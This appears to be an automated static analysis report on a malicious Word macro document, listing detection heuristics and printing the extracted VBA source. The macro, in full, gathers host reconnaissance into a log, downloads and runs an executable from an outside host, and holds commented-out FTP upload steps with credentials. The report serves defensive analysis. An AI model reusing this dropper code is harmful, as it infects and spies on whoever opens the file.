Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 30c72f6d9c276179…

MALICIOUS

Office (OOXML)

107.9 KB Created: 2017-07-17 14:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-09
MD5: c1b19be34122be85e1dd4ad45f6f7c6f SHA-1: 63fe91de4fa3b4c72d23975e9767d41b9eb2f7b8 SHA-256: 30c72f6d9c276179a7324b5c1cd0af7eef1240886018b56fe9cbfe088b9d2e94
398 Risk Score

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6359339-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6359339-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set oShell = CreateObject("Wscript.Shell")
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Sub AutoOpen()
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oShell = CreateObject("Wscript.Shell")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        strArgs = "cmd /c AVUpdate.bat"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: https://www.ups.com/
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sharkswithlaserbeams.biz/avUPdater.dat Referenced by macro
    • http://sharkswithlaserbeams.biz/avUReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://www.ups.com/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3467 bytes
SHA-256: 36e810b6a3147515b3ac5ce2af5ab023ad9eddc9289980af3c7a3641eee2a69c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

'Declaration of Windows API Function
'Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
'    ByVal szURL As FileSystemObject, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
 
Sub AutoOpen()


    Dim filesize As Integer
    Dim FlName As String


    FlName = "C:\Users\Public\Documents\AVUpdate.bat"

    
    FlText = "@ECHO OFF"
    FlText1 = "hostname >> C:\Users\Public\Documents\UpdaterLog.txt"
    FlText2 = "whoami >> C:\Users\Public\Documents\UpdaterLog.txt"
    FlText3 = "tasklist >> C:\Users\Public\Documents\UpdaterLog.txt"
    FlText4 = "nslookup lassatt.com >> C:\Users\Public\Documents\UpdaterLog.txt"
    FlText5 = "icacls file /grant Everyone >> C:\Users\Public\Documents\UpdaterLog.txt"
    FlText8 = "vssadmin list volumes >> C:\Users\Public\Documents\UpdaterLog.txt"
    FlText9 = "vssadmin list shadows >> C:\Users\Public\Documents\UpdaterLog.txt"
    FlTextD = "cd C:\Users\Public\Documents\"
'    FlText10 = "echo open 69.89.20.50 > MyDat.dat"
'    FlText11 = "echo mw_download_demo@lassatt.com>>MyDat.dat"
'    FlText12 = "echo 1234qwer!@#$QWER>>MyDat.dat"


'    FlText15 = "echo PUT C:\Users\Public\Documents\UpdaterLog.txt >> MyDat.dat"
'    FlText14 = "echo PUT C:\Users\Public\Documents\SensitiveInfo.* >> MyDat.dat"
'    FlText16 = "echo quit >> MyDat.dat"
    FlText18 = "ping -n 3 127.0.0.1 && del /s AVUpdate.bat"
    
    

    '~~> get a free file handle
    filesize = FreeFile()

    '~~> Open your file
    Open FlName For Output As #filesize

    '~~> Export Text
    Print #filesize, FlText
    Print #filesize, FlText1
    Print #filesize, FlText2
    Print #filesize, FlText3
    Print #filesize, FlText4
    Print #filesize, FlText5
    Print #filesize, FlText8
    Print #filesize, FlText9
    Print #filesize, FlTextD
'    Print #filesize, FlText10
'    Print #filesize, FlText11
'    Print #filesize, FlText12


'    Print #filesize, FlText14
'    Print #filesize, FlText15
'    Print #filesize, FlText16
    Print #filesize, FlText18
    
    
    Close #filesize

    Set oShell = CreateObject("Wscript.Shell")
    Dim strArgs, strArgs1, strArgs2 As String
    ChDir ("C:\Users\Public\Documents")
    
    strArgs = "cmd /c AVUpdate.bat"
    oShell.Run strArgs, 0, True
    

'    strArgs2 = "cmd /c del MyDat.dat"
'    oShell.Run strArgs2, 0, False

    Set ObjA = CreateObject("scripting.filesystemobject")
    
    If ObjA.folderexists("C:\Temp\") <> True Then
        MkDir "C:\Temp\"
    End If
    
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "http://sharkswithlaserbeams.biz/avUPdater.dat", False
    xHttp.Send
    
    With bStrm
        .Type = 1 '//binary
        .Open
        .write xHttp.responseBody
        .savetofile "C:\Temp\avUPdater.exe", 2 '//overwrite
    End With
    
    ChDir ("C:\Temp")
    strArgs1 = "cmd /c avUPdater.exe"
    oShell.Run strArgs1, 0, False
    
 


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 2d010e9a0de7bdc4cb854dc675f3fd9bf48e77eefbd6a399c9c898af9bc07443

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